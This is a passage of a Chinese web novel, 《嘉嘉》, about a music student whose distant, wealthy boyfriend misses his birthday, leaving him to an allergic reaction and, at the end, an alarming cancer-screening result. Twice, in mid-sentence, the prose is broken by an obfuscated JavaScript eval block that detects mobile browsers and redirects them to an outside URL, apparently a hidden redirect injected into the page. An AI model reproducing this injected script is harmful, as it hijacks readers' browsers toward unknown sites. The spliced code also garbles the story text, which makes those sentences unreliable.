《嘉嘉》 1. 1 南非,博茨瓦纳。 窗外雪花纷飞,与午后明媚的日光交汇,天地间一片光亮,盈满了灼然的洁白与灿金。 站在窗口的男人双手执着相机,其中一只手臂缠满绷带,被取景框捕捉到的绮丽雪景却没有半分抖动。 “我本来以为差点被豹子咬断手,就是这一趟来最大的收获了。” 他的目光里写满愉悦的惊叹,整个人一动不动,唯有声音往身后飘:“居然能亲眼看见非洲下雪,况且才五月中,没到这儿最冷的时候吧?你前两年来的时候有没有碰到过下雪?” 外面冷风伴雪,恒温的室内仍旧舒适宜人,宽大的黑色皮质沙发处偶尔响起敲击键盘的声音,断续沉稳,灯光映亮了缀在西装衬衣边缘的浅金袖扣,衬得骨骼感分明的手腕愈发凌厉。 半晌,那里才传来惜字如金的回应:“没有。” “那你倒是跟着我走运了,能看见这种奇景。” 视线牢牢黏在相机镜头前的摄影家毫不在意他的冷淡,絮语不停:“虽然这更可能是个坏兆头,毕竟六月飞雪不是什么好事,搁古代是有冤情,放在现代那就是极端天气,我看迟早要世界末日,所有人一起完蛋……” “不过,反正人总要完蛋的,能让我在那之前亲眼看一看那颗大宝贝切出来的成品钻,最好是能第一个为它拍下照片,我就死得其所了,哎老傅,预计要多久来着?” 他的语气散漫轻佻,沙发背后因而荡开一声漫不经心的低笑,紧接着响起的低沉嗓音总算不再那么吝啬。 “半年。”男人这样回答他,“三个月确定切割方案,三个月打磨,也可能延期。” 冷静淡漠的口吻里没有多少波澜,仿佛并不是在谈论正在全世界引发轰动的那颗名贵原石——于三日前在博茨瓦纳某处矿场发现的宝石金刚石,重量高达3507克拉,刷新了保持这一地位百年之久的钻石The Cullinan的记录,成为目前全球第一大的钻石原石,而且净度更甚。 “那不就是今年底?挺快嘛。”兴致勃勃的摄影家挑了挑眉,“到时候千万别忘了邀请我和我家宝贝去参观,她就喜欢这种亮闪闪的东西……哦,虽然那时候的宝贝可能不是她了,这两天通视频一看我的手就哭,哭得抽抽搭搭的,话也听不清,说自己看上哪个包的时候倒是字正腔圆。” 说着,他终于移开视线,瞥了一眼屋里嵌着珍稀鹿角的座钟。 南非是下午两点,日色与雪花纷飞,同国内有着六个小时的时差,那里已入夜。 “航班还有三个钟头,差不多该去机场了,你也是这趟回吧?” 男人拍够了雪景,动作小心地合上镜头盖。 “傅总,顺便让我搭个车?二十个小时的航程够累的,咱俩正好做个伴解解闷。” 他蹙眉盘算着时间:“不延误的话,明天傍晚回到京珠,勉强能赶上520的尾巴,吃顿晚餐,唉,突然觉得还是留在这里追豹子大象有意思。” 笔记本荧屏上匀速滑过密密麻麻的法文,右下角不时冒出新邮件送达的提示,被称作傅总的男人似乎又开始专心读报告,偶尔写句批语,不再理会这个在南半球偶然相遇的摄影家朋友。 直到对方语带调侃地说:“我下了飞机是不是就能看到你家那位小王子了?刚好给我养养眼,他等你等得望眼欲穿的,肯定会来接机——不对,明天是他生日吧?那估计不会来了,肯定在哪儿偷偷准备生日惊喜呢。” 与520这样的特殊日子重叠的诞生日,无需费力记忆,能很轻易地浮现在脑海里。 想起那个在五月二十日过生日,整个人仿佛也在明艳爱意里长大的漂亮青年,摄影家的心头漫过了几分似有若无的、只能远眺的遗憾,随口道:“行了别忙了,反正你的事也办完了,赶紧跟我一起去机场,毕竟是一年一次的生日,他又这么喜欢你,该哄还是得哄……” 悬垂在键盘上方的修长指节微微一顿。 “……我记得去年是不是闹进医院了?你好像还把人丢在医院没管,顾自己出差去了,幸好他不跟你计较,今年索性弥补一下,正好庆祝大宝贝横空出世,也陪他好好过个纪念日——” “宋见风。” 骤然响起的磁性嗓音里透出几分警告。 宋见风话音顿住,立刻举起双手示意投降,不再往下说了。 窗外白雪不曾止息,陷在沙发里的男人身形修长,昏昏然的午后光线勾勒出混血儿高锐度的俊美五官,眉骨高挺,浓颜薄唇,他有叫人过目难忘的好相貌,亦有同样令人印象鲜明的矜贵和冷沉。 良久,若有所察的宋见风再次开口,带着一抹不可思议的惊诧。 “你……没打算回去吗?” 同一时间,一万多公里外的京珠市。 初夏的夜晚偶有蝉鸣,一道略显单薄的身影立在走廊尽处,垂眸望着楼下那个渐行渐远的背影。 校园里到处是热闹的声音,与年轻活泼的大学生们擦肩而过时,那人还下意识回头张望,朝楼上愈发遥远的青年招了招手,颇为殷勤。 而青年似乎在走神,并无回应。 半晌后,他回过神来,将手中的名片随意塞入口袋,转身穿过走廊。 白皙纤细的指尖搭上排练室的门把手,正要开门,里面流泻出七嘴八舌的议论声。 “刚才那人是剧组的?” “对啊,叫什么——呃,演员副导演吧,就是专门负责挑演员的,那天他们过来选人的时候我见过。” “真挑中兰又嘉了?那我们的同学里不是要出个大明星了?早知道我也该学钢琴……” “他不会答应的吧,那天当场就拒了,今天估计也是,人一门心思谈恋爱呢,说剧组一拍就是几个月,不想去,也不知道男朋友到底是有多大魅力。” “说起来,他男朋友到底长什么样啊?你们有人见过吗——” 温热指腹按下金属把手,吱呀一声,打断了一屋子的八卦。 排练室的灯光自上而下倾泻,全坠进了来人那双圆润柔和的杏眼,没有桃花瓣般上扬的长长眼尾,可黑色瞳仁像濯过水一般,亮得惊人,衬在过分精致的白皙面孔上,反而带了一抹令人移不开目光的秾艳,眼底潋滟地盛着许多风景。 青年站在门口,露出一个大大方方的笑容,连声音也很好听:“不好意思,耽误大家时间了。现在没事了,我们继续吧?” 大家有一瞬的失神,很快又重新热闹起来。 “嘉嘉,那人又来劝你去拍戏啊?” “嗯。” “你要去吗?” “不去。”兰又嘉笑着摇摇头,“哪有空。” 问话的人便咂舌惋惜:“我看你心情很好的样子,还有点兴奋,以为你答应了呢。” 旁边的人就笑:“那能是因为这件事吗?你也不看看明天是几号。” “二十号啊。”那人总算恍然,拉长了声音调侃,“哦对,五月二十号!” 五月二十号,是国内特有的情人节。 也是兰又嘉的生日。 无论是哪种寓意,都是个要跟所爱之人共度的日子。 在京珠音乐学院内的这间排练室里,短暂休息的大四生们聊完闲话后,房间里便响起悠扬动听的器乐演奏声,大家正为两周后的毕业晚会排练。 而即将万众瞩目的晚会主持人手中捏着串词台本,心神却早已飘远。 飘到了此刻正有雪花纷扬的地球另一面。 他发了消息问远在南非的恋人,突然下雪会不会影响航班按时起飞。 那边很快回信:不会。 他就十分开心地提醒:那你该去机场了哦,别误了航班,好想今天就能见到你。 另一头没再发来消息。 本来也只是不需要回复的提醒。 所以兰又嘉的心情当然很好。 明天就能见到这段时间格外忙碌的恋人了。 他很想傅呈钧。 热烈的想念化作音符,在漂亮纤细的指间跃动,黑白琴键里流淌出雀跃又忧伤的爵士乐,像一场缠绵悠长的细雪。 一曲即兴终了,旁观的同学们好一会儿才从余音中苏醒,发自内心地送上掌声。 除了人群里脸色最臭的姜黎。 从琴凳上起身,兰又嘉的目光与姜黎不经意间相撞,窥见对方眼中来不及遮掩的嫉恨。 他做了三年学校晚会的主持人,无论是开学、毕业或是校庆,总是他站在聚光灯下。 今年的毕业音乐晚会上,兰又嘉不仅是主持人,也是有压轴节目的毕业生。 前些天有个剧组来院里选人,要拍一部有音乐元素的文艺片,原本上了很久钢琴课的新人男主演意外受伤,无法在计划时间内进组,剧组只好去音乐学院碰碰运气,兰又嘉是他们意外发现的最满意人选,甚至比原来的男主演更合导演心意。 可惜他拒绝了。 所以即便没有过什么直接冲突,想做主持人、想演那部戏、想要成为所有人视线焦点的姜黎非常讨厌他,也是没办法的事。 正好他同样不喜欢姜黎。 兰又嘉平等地讨厌一切姓姜的人。 生姜也讨厌。 今天的排练结束,兰又嘉被同学们的声音簇拥着往外走。 “嘉嘉,你明天打算怎么过生日?要跟大家聚会分蛋糕吗?” “你这不是废话吗,人家当然是要去过二人世界,去年还请了足足一周假呢,不过今年可不行了啊,别忘了后天要答辩!” “啧啧,什么时候让我们见见你对象嘛,说是谈了两年,这都快毕业了我们也没见着人,干嘛这么保密啦。” 兰又嘉笑起来,形状很好看的唇角扬起一个明媚的弧度:“他工作很忙。我不吃蛋糕的,改天请你们吃饭唱歌好不好——” 与此同时,他在心里悄悄回答了剩下那个问题。 傅呈钧的航班要明天傍晚才落地,那就只有一顿晚饭的时间可以庆祝,他不打算太折腾刚刚出差归来的恋人,准备在两人初次“约会”的餐厅…… 可话音未落,另一道声音突兀地横插进来:“两年都没来过一次学校,算什么男朋友,不会是你编出来的吧?还是对方很见不得人啊?” 在异常尖锐的讽刺里,四周刹那间静下来,面面相觑。 离毕业越来越近,大家都要各奔东西,所以原本还会惺惺作态的讨厌鬼连装都不装了。 兰又嘉蹙了蹙眉,视线毫无停留地掠过那张因嫉妒而显得丑陋的面孔,懒得理会。 先前在楼下同演员副导演主动搭话,却没得多少回应的姜黎来了劲:“怎么不说话,被我说中了?你要是真有个男朋友,月底的毕业晚会他不可能不来看吧?到时候介绍给大家认识啊——” “你很闲吗?”兰又嘉终于开口,声音平静,话语倒比对方还要尖锐,“很闲就去练练仪态,你要是真这么想去拍那部电影,要不然我帮你说点好话推荐一下?导演说你外形不合适,弹琴时的气质也一般,不过相比之下,还是后者比较好速成吧?” “你……!” 姜黎气得脸都红了,旁边的同学们低眉顺眼地憋着笑意,而兰又嘉头也不回地离开了这里。 傅呈钧当然会来看他的毕业晚会,他想。 当然会。 一刻钟后,加长豪车的后座上,兰又嘉一手捧着司机特地去买来的热饮,另一手在拨电话。 不知道是不是被讨厌鬼烦的,肚子又有点疼。 视频通话一直没能接通,持续的等待音里,前方的司机悄声开口:“兰先生。” “嗯?怎么了?” “如果您是在联系傅总的话,他可能正在飞机上,所以接不到电话。” 车内后视镜里映出那双霎那间明亮起来的眸子,令车窗外的繁星黯然失色。 “航班已经起飞了?” “是的兰先生,是梁助让我转告您的,傅总还让您早点休息,不要熬夜。” 于是这一晚的兰又嘉的确没有熬夜。 他没有去等那些充满仪式感的零点生日祝福,也懒得管那些已经明确拒绝过却还在情人节前夕悄悄冒头的追求者。 他唯一想等的人明天就会回来。 所以即使不明来由的腹痛在夜间躺卧时愈发明显,他也依然在一种盈满心头的喜悦中睡着了。 最近腹部好像经常不舒服,可毕业季很忙,自己也顾不上,傅呈钧又一直出差,他想让他陪自己去医院检查的,总之,只要等到明天…… 五月二十号,凌晨四点五十分。 提前设好的闹钟如雷声乍响,惊醒了床上的人。 宽大柔软的床上,缩在被子里的青年睡眼惺忪地拿起手机,关掉闹钟,拨出昨晚那个未接通的电话。 这一次很快接通了。 屏幕上出现那张熟悉的俊美面孔,男人依旧穿着昨日登上新闻报道时的那身挺括西装——全球顶级奢侈品集团JA集团亚太区总裁,亲赴博茨瓦纳参加世界最大钻石的命名仪式,是否预示着这颗钻石未来对公众的首次正式亮相将花落亚太? 白天看到过的新闻标题在心头一闪而过,侧卧着蜷成一团的兰又嘉极专注地盯着视频画面,舍不得眨眼。 他看见男人面庞上淡淡的疲倦,却被过分立体的骨相演绎成了深邃迷人的郁色,灰绿色的眼眸里闪动着静静的光芒,一如他身后澹然浩瀚的夜色。 “特意定了闹钟?” “你在等转机对不对?” 两道声音同时响起,平淡与热烈交织。 兰又嘉有点不高兴,唇角微翘:“是啊,好困,可我很想见你,昨天没有见到。上飞机前怎么不告诉我?” 闻言,傅呈钧抬眸向一侧望去,似乎是在看时间。 “我这里还是昨天。”他说,“差九分钟到零点。” 所以多亏时差,他还是在“今天”见到了心心念念的恋人。 兰又嘉几乎立刻被这句听来寻常的话取悦,忘了那个没被回答的问题。 他笑得眼眸极亮,对着屏幕认认真真地说:“呈钧,我又长大一岁了。” 傅呈钧应声道:“嗯,生日快乐。” 在二十二岁生日的这一天,兰又嘉如愿以偿地听到了来自恋人的第一声祝愿,便有了数不清的话想说。 “非洲下雪冷不冷?” “没有京珠冷。” “我没见过这种风景,那位专程去拍大象迁徙的宋先生是不是也顺便拍了很多雪景?” “你想看照片?” “不,不要照片,我想亲眼看……如果下一次下雪的时候你不忙,我们能不能一起去非洲看雪?” “嗯。” 耳畔的电波噪点轻缓,一问一答中仿佛有无限纵容,它与温暖的羽绒被一道包裹着兰又嘉,连从昨晚持续至今的腹部不适都因此淡去了。 他觉得很幸福。 陷在这样柔软丰沛的幸福里,昨夜被晚风覆盖的对话却在此刻无端地萦绕在心间。 仍在试图争取的选角导演问他:“……这真的是个非常好的机会,我说得直白点吧,难道你就一点也不想成名吗?不想被很多人看见和喜爱吗?” 他听见自己分外笃定的回答:“我已经有足够的爱了。” 他已经有足够的爱了。 所以趁着充裕的转机时间,兰又嘉兴致勃勃地从南半球遥远的雪,说到了近在咫尺的晚餐。 “你的航班是傍晚五点降落,我就不去机场接你了,因为要在餐厅布置,我会在那里等你来,七点应该能到吧?是Le Destin,你去过的。” 他将自己的生日计划和盘托出:“我跟老板商量好了,餐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790924|158097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厅会打扮得跟那天一模一样,可能在这个季节看起来是有点奇怪,但我真的很期待今天晚上的到来,因为很想重温下那一天——” “兰又嘉。” 在非洲的深夜与京珠的清晨,电话那头一直耐心听他絮语的男人忽然打断了他的话,连名带姓地喊他。 兰又嘉怔了一下,却没有停下,仍旧说了下去:“——那晚能不能算是我们的第一次约会?那时候我才十九岁,呈钧,时间过得好快,我比那时候更加……” 更加爱你。 他没能把话说完,因为那双深邃独特的灰绿色眸子里泛开了一阵清晰的波澜。 像是不愿再听的厌倦,又像是高高在上的漠然。 男人移开目光,唇角微扬,仿佛划过了一抹比雪更冷的笑意。 “要登机了。” 通话到此结束,兰又嘉还来不及同他道别。 他只好愣愣地对着一片漆黑的屏幕说话。 “明天……不,今天见。” 九分钟早已过去,他们已经身处同一天,共享同一个日期。 ……是吗? 晚上七点,Le Destin餐厅。 时值初夏,这间富有格调的法式餐厅却到处装点着红绿相间的松果花环、亮粉闪烁的白色雪花,以及白胡子红帽的圣诞老人贴画。 就像时间一下子跳跃到了位于十二月末的平安夜,令路过的行人侧目驻足。 街对面的甜品店里,姜黎盯着餐厅方向,面露嘲弄。 即使隔着玻璃橱窗,一切都显得影影绰绰,那道坐在窗边的身影依然十分引人瞩目。 这家餐厅距离学校不算远,下午时有朋友说路过看见兰又嘉出现在这里,像是在帮忙布置什么东西。 等姜黎过来之后,就看到兰又嘉一直坐在窗边位,安静地凝视着街上来来往往的人们。 不是跟男朋友一起过生日么? 可惜两个小时过去了,兰又嘉还是孤零零一个人。 哪来的男朋友。 就算有,也是姓兰的倒贴而已 姜黎的耐心已经在不断肆虐的恶意中消耗殆尽,他心满意足地起身,不再浪费时间看戏,打算管自己过节去。 可忽然间,一辆昂贵得显而易见的黑色豪车,在餐厅门口停下。 姜黎霎时停住了脚步,眼睁睁看着车门打开,从里面走出一个西装革履的男人。 那人怀中抱着一大束鲜红似火的玫瑰,手里还提着一个扎有精致缎带的方形礼盒。 显然是生日蛋糕。 怎么可能……! 姜黎难以置信地攥紧了手指。 一街之隔的餐厅里,在长达两个小时的翘首以盼后,时间终于来到兰又嘉单方面约定的晚上七点,可他却收回了向外张望的目光,垂眸盯着面前的空白瓷盘发呆。 他查过了航班讯息,准时降落,没有延误。 可是傅呈钧到现在都没有回复他发去的消息。 他不会来了,兰又嘉想。 其实傅呈钧去出差之前就说过,没有时间帮他庆祝生日,要他自己跟朋友过,想怎么过都行。 可兰又嘉只想和他一起过。 去年的这一天过得那么糟糕,所以恋爱两年,他也没有和傅呈钧一起好好庆祝过生日,即使只是一顿简单宁静的晚餐…… 七点整,餐厅门口的风铃叮铃作响,有人推门进来。 晚风捎来一阵浓烈的玫瑰芬芳,伴着陌生顾客们零星的惊叹:“好多花。” “是有人过生日吗?” 窗边神情沮丧的年轻男生听见这些动静,眼睛一下子亮了起来,他抬起头,满心雀跃地朝那里望去:“呈……” 未竟的话音突兀地卡在喉咙里。 来人与他对上视线,露出一个礼貌的笑容,语气尊敬:“兰先生,生日快乐。” 兰又嘉怔怔地看着他,许久才轻声应下:“……梁助。” 梁思在上个月才入职JA集团亚太部的总裁办,是傅呈钧的助理之一。 之前他与兰又嘉的直接接触很少,只匆匆见过几面,但经常能听到别人说傅总有个非常好看、也相当讨人喜欢的恋人。 的确如此。 在兰又嘉抬眸望过来的那一刹,那份溢于言表的灿烂期盼,简直让人生出一种正被眼前人热烈爱着的错觉,连心跳都跟着失速。 ……也因此,紧接着流露出的浓烈失望,同样让梁思置身其中,本能地替没有到场的顶头上司生出几分愧疚。 梁思真心实意地道了歉:“傅总临时有很重要的事要处理,没办法赶过来……很抱歉,兰先生,祝您二十二岁生日快乐。” 面色黯淡的青年正望着半空里的某一处发呆,喃喃道:“不是你的错,不用道歉,谢谢你送花来。” 梁思更愧疚了。 他很想为眼前一点也不开心的兰先生做些什么,情急之下,察觉到对方似乎一直在盯着自己手中的蛋糕看。 于是梁思立刻放下了烂漫的玫瑰花束,小心翼翼地拆开礼盒上的丝质缎带。 “这是傅总亲自选的蛋糕,很漂亮,我从没亲眼见过这么华丽的蛋糕。” 其实昨天傅总就吩咐过他去准备花了,大概是那时就已经更改了行程,要去其他地方处理紧急事务,具体的梁思并不清楚。 因为出身显赫、自身也能力非凡的傅呈钧同时执掌着两间大型集团,他暂时只负责协助处理其中一间公司的事务。 不过,送蛋糕这件事却是今天早上才吩咐下来的,也不知道是不是之前忽略了。 幸好是个模样足够精致用心的蛋糕。 应该能让兰先生高兴一点吧。 梁思这样想着,轻声问:“兰先生,您想现在切蛋糕吗?需不需要点蜡烛许愿?需要的话,我去联系餐厅经理关灯。” 在色彩华美香气浓郁的生日蛋糕前,他看见兰又嘉那双漂亮至极的眸子里,隐约闪烁着一些晶莹的东西。 兰先生出乎意料地打断了他的话,声音轻得几近听不分明:“不要,我不吃。” 梁思面露意外,下意识劝道:“生日总要吃蛋糕的,如果兰先生没有胃口的话,尝一小块也好,而且……” 兰又嘉仰起脸看他,似是茫然地重复着他的话:“而且?” 梁思就有些不好意思了,努力组织了一下措辞:“而且,傅总说要看到您吃蛋糕的照片,他一定是希望您能开开心心地度过生日,如果有什么需要我做的,兰先生都可以吩咐我——” 他还没有说完,就听见兰先生轻轻地应了一声:“嗯。” “你帮我切蛋糕吧,还有蜡烛和关灯。”他说,“今天要辛苦你了,梁助。” 很快,这间被装扮成冬季圣诞风格的餐厅里调暗了灯光,萍水相逢的客人们热情地唱起生日歌,坐在钢琴前的乐手弹起悠扬的旋律伴奏,到处洋溢着幸福的幻象。 人们视线的尽处,是那个光彩夺目的年轻男生,他身前是玫瑰、蛋糕,和面带笑意拿着手机拍照的恋人。 橘色温暖的烛火里,他闭上眼,看起来在认真许愿。 其实他是在问蜡烛:什么时候才能实现他在很多年前就许下了的那个愿望? 那个关于爱的愿望。 他想要爱。 很想很想。 蜡烛被吹灭的一瞬间,兰又嘉睁开眼睛,眼前却只剩黑暗,有透明冰凉的东西悄然滑过面颊。 接着该吃蛋糕。 十分钟后,梁思看到青年皮肤上浮现出一团团刺目的红疹,也听到对方愈发急促困难的呼吸声。 凳脚猛地擦过地面,发出刺耳的声响,他跌跌撞撞地起身,大脑一片空白,手足无措,世界在瞬息间扭曲颠倒,像跌进一个由自己亲手设下的陷阱。 幸好一旁有人替他拨了120。 2. 2 夜晚的医院依旧人声鼎沸,白茫茫的灯光蒸腾着刺鼻的消毒水气味。 “你说是蛋……蛋白过敏?” “对,患者意识清醒,他知道自己的过敏史,说刚才吃了蛋糕对吧?照理来说这不可能是误食,是不是觉得偶尔吃一点没关系?你作为家属,平时还是要劝着一点,食物过敏不是件小事,他的症状还是比较严重的,不能掉以轻心。” “……我知道了。谢谢医生。” 失魂落魄的梁思从诊室里走出来,看见输液区里那道很显眼的身影。 护士将输液袋挂在架子上,弯腰同刚开始挂水的病人叮嘱了些什么。 病人面色苍白,一度急促困难的呼吸已经平复下来,手臂皮肤上散布着刺目的红疹风团,肘窝处有一大块抽血后引发的青紫。 他对护士安静地点了点头。 仍带着一抹礼貌的微笑。 梁思看见那个笑容,脚步愈发迟钝,脑海里仍旧乱糟糟的。 还是兰又嘉主动抬头看向他,微笑的弧度更大了一些。 “今天麻烦你了,梁助。”他说,“谢谢你送我来医院,我可能耽误你过节了……我输完液就好了,司机会送我回去的,你先去忙吧?” 他的声音很轻,显出几分让人不忍拒绝的柔软,浓密眼睫微微颤动,像伶仃飘扬的片羽。 这一刻的梁思其实有很多话想说、想问,却找不到任何一个合适的句子。 踌躇良久,他只是低声讷讷地问:“兰先生,要不要我送你回家?在家输液可能会舒适一些,傅总有专门的私人医生,我联系他过来照顾——” “不用了。”兰又嘉摇摇头,语气很平常,“我不喜欢看私人医生,也不喜欢被佣人照料,他知道,也允许的。” 两人都知道这句话里的他是谁。 允许这个听来平淡的词,令梁思心头升起一阵不明来由的悲哀。 他已经不敢再胡乱地劝眼前人去做什么,只好竭尽所能地提供一点建议,好让兰先生能舒服一些:“那要不要我帮您联系朋友,或者家人过来?” 今天毕竟是兰先生的生日。 还是一个以爱为音节的日子。 这次兰又嘉没有说不用了,他蓦地笑起来,眼里盛满了白炽灯的倒影,叫人目眩神迷。 “你联系不到的。” 梁思一时没能反应过来:“什么?” 兰又嘉看着他,没有回答,转而问:“我记得你是上个月来公司的对不对?” “对,真的很抱歉,之前我不知道您的过敏……” “你已经道了好多次歉,都说了不怪你嘛,是我自己要吃的。”兰又嘉弯起了眼眸,“我猜你应该有很多朋友,因为你看起来就让人觉得,跟你相处会是件很舒服的事。” 像是在调侃,又像是在安慰。 梁思混乱的心情奇异般地安定下来。 “是、是吗?”他有些窘迫,本能地说,“兰先生也一定有很多……” 兰先生才是那个真正的相处起来很舒服的人。 他一定很受欢迎。 兰又嘉没等他说完:“嗯,我有很多可以聚会聊天的朋友。” “但是没有可以陪我挂一晚点滴的朋友。”他很小声地补充,“因为那是要交心的。” 梁思怔怔地望着他。 因为雇佣关系才会出现在这里的总裁助理,在某一瞬间忘了分寸,脱口而出道:“是傅——” “不是。”兰又嘉像是知道他要问什么,主动解释道,“他不管我这些。” “是我自己不想要好朋友的。” “……为什么?” “因为,”兰先生清亮好听的声音顿了顿,“假设梁助正在谈恋爱,今天晚上却跑来帮老板送花办事,到现在都没有回去一起庆祝情人节,你的恋人肯定会不开心吧?就是这样的道理。” “人只有一颗心。”他说,“我也只想把它放在一个地方。” 全心全意地去爱一个人。 炽热强烈的洁白光线刺痛了梁思的眼睛。 他用力地闭了闭眼睛,在到处弥漫无孔不入的消毒水气味里,终于找到了那个一开始就想说给兰先生听的句子:“傅总肯定是不知道您吃蛋糕会过敏……” “嗯,他不知道。”兰又嘉微笑着说,“没关系,下次就不会了。” 这是彼此都心知肚明真相的苍白安慰。 到底安慰了谁呢? 梁思愈发觉得无地自容。 直到这一刻,刚入职不满一个月的新人助理,终于恍然惊觉自己的顶头上司——那位雷厉风行、手腕强硬的商业新贵,究竟是个什么样的人。 昨天就吩咐下来的艳丽玫瑰,当然是情人节的礼物。 今天才临时增加的精美蛋糕,又代表了什么? 是惩罚吗? 因为兰先生做了不被允许的事? 仅仅是个普通助理的梁思不知道答案。 他只知道,自己面前这位模样苍白又昳丽的兰先生,是真的很爱傅总。 形状极美的眼眸里写满天真的虔诚。 一笔一划都是爱的色彩。 那份爱如此浓墨重彩,在空气里满溢流淌,仿佛连他也被慷慨地笼罩了。 心脏因此轰然失控,不听话地狂跳。 他几乎是落荒而逃。 输液袋快要滴完的时候,外面突然下起绵绵细雨。 挂完点滴,过敏症状已经缓解的兰又嘉被司机送回了家。 屋外雨水渐趋淋漓,从下车那一刻起,他的脚步就很匆忙。 他步伐仓皇地回到那座漂亮的房子,穿过曾经精心打扮过的玄关与客厅,闯进热意弥漫的浴室。 花洒里浇出的热水让全身都温暖起来,嘈杂的水声令外面的世界整个隐没了。 可当他洗完澡钻进被子,蒙头将自己完全埋进了床里之后,依然能听见越过窗缝漫进来的雨声。 兰又嘉的模样比过敏发作时更加惊惶,腹部又开始痛了,他只能侧卧着蜷曲身体,颤抖着抱住自己,盼望这场没有被预报的大雨早点停。 灯光大亮的深夜,时间的流逝变得蒙昧不清,在意识模糊的浑浑噩噩中,他不知道究竟过了多久——忽然间,外面响起了开关门的声音。 以及一道再熟悉不过的脚步声。 期待很久的生日已经过去,但淋湿夏夜的雨水还没有停。 那道脚步准确地穿过屋子,走进灯光明亮的卧室,居高临下地注视着那团缩在羽绒被里的脆弱幼茧。 同时到来的还有一阵淡淡的酒气。 片刻后,他脱下了手工定制的西装外套,随手丢在一旁,在床边坐下。 柔软的床沿随之下陷,质感高级的缎面白衬衫包裹着男人线条流畅的宽肩劲腰,他俯身,拉开轻微颤抖着的被子,便对上了那双被泪水模糊了的柔和杏眼。 朦朦胧胧中,兰又嘉似乎听见了那道比雨声更清晰的脚步声,也嗅到一抹风雪般的冷香。 额角碎发全被惊惧的汗水打湿,他睁开眼睛,哽咽着望向高处的那道身影:“……呈钧?” 看清楚来人之后,他胡乱抹掉了眼角即将滑落的泪水,正要露出笑容,男人已经习以为常地将他揽进怀里,嗓音微沉:“怎么瘦了?” 有半月不见,与记忆里的模样相比,消瘦了的印象便格外鲜明。 “不知道,可能是最近忙着毕业的事,没有好好吃饭……” 熟悉有力的怀抱终于令兰又嘉镇静下来,颤栗渐渐平复,抽泣的声音也被竭力压了下去。 他认真地告诉恋人:“今天在医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790925|158097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院抽血的时候,多抽了几管,顺便做了别的化验,结果都没有问题,我很健康,只是有一点低血糖。” 因为频繁发作的腹痛,他本想再做一个腹部CT检查,可过敏的滋味也并不好受,没有余力再去其他科室折腾。 一个人的医院太冷了。 兰又嘉说完检查的事,只觉得屋外的雨声越来越远,又仰起脸,看向近在咫尺的恋人:“刚从酒会回来吗?我闻到味道了。” “嗯,庆祝那颗钻石。” 没人提起那个蛋糕与那场过敏,好似什么都不曾发生。 男人话音平静,兰又嘉从那双漠然的灰绿色眼眸里清晰地看见了自己,就有些难过地问:“为什么不带我去?” 傅呈钧说:“外面下雨了。” “但是上一次你捂住我的耳朵,带我出门的。” “不想让别人用那种眼神看你。” 兰又嘉害怕雨天,对此有种近乎于应激的剧烈反应。 每到下雨天,他身上会浮现一种令人着迷的恐惧与脆弱,像将要凋谢前盛放到极致的花,叫人移不开目光。 得到答案的兰又嘉仍然坚持,半是撒娇半是祈求:“可我想陪你一起去,那种酒会多无聊,有我在才比较有趣。” 男人仿佛被这句话取悦,带着薄茧的指腹落在他颊畔,轻轻拭去那些残留的潮热泪水。 “以后带你去。”他淡声道,“如果不下雨的话。” 灰绿眸珠里映出的漂亮青年立刻笑了起来,被雨水诱发的惊惧、被抛下等待的伤心如幻影消逝。 他只剩一点点委屈了。 所以兰又嘉小声说:“那你亲我一下,我就原谅你这一次。” 他从不对傅呈钧撒谎,有什么感受,就说什么。 就算是觉得委屈,也要将委屈说出口才行。 除了那唯一一个,他不敢再提及的委屈。 但没关系。 因为爱人依言哄他了。 灯光昏黄暧昧,轻柔缠绵的话语激起欲望的涟漪,听了一整晚浮华恭维的男人难得动容,低笑着吻上他的眼睛,烙下似有若无的爱意。 也吻过更多地方。 于是兰又嘉闭上眼睛,彻底忘了那场绵延整晚的暴雨。 唯有疼痛愈演愈烈,仿佛从灵魂深处奔涌出来,不止不休。 他像深海里被卷进漩涡的小舟,彷徨地随波逐流,只能发出断续的哀鸣:“疼……轻一点,我怕疼。” 而漩涡却因此愈发暴烈,嗓音低哑地啄吻他的眼与眉:“听话,嘉嘉。” 炽热滚烫的体温与心跳,填满了空洞冰冷的世界。 他会听话的。 翌日醒来,雨停了,大床的另一边已没了余温。 屋里只剩兰又嘉一个人,和满身酸痛乏力的倦意。 傅呈钧是真的很忙碌,此刻大约又在路上,去处理另一桩公事,或是出席下一场会议。 但他仍然觉得幸福。 自欺欺人,掩耳盗铃的幸福。 日光淡蓝的清晨,他安静地蜷缩在被窝里,漫无边际地想象起今天下午的论文答辩,月底毕业晚会上要弹的乐曲主题,明年或许仍要独自度过的情人节与生日…… 直到一阵手机铃声突兀地响起。 “喂,请问是兰又嘉吗?” “我是,哪位?” “这里是京珠市第三医院检验科,你昨晚是不是取走一份血液检验报告,里面包括了肿瘤相关标志物的测定结果?” “实在抱歉,我们的系统在录入时发生了一些错误,你拿到的这份检查结果是别人的,至于你的那份报告……” 说到这里,电话那头快而冷峻的语速终于放慢了些许,带着某种平静的怜悯。 “我想,你最好再来一趟医院。” 3. 3 “……CA199、CEA这些肿瘤标志物的数值很高,血常规里显示白细胞的水平也过高,我看到你昨晚入院时的主诉是食物过敏,除此之外,近期身体有没有快速消瘦、局部疼痛之类的异常状况?” 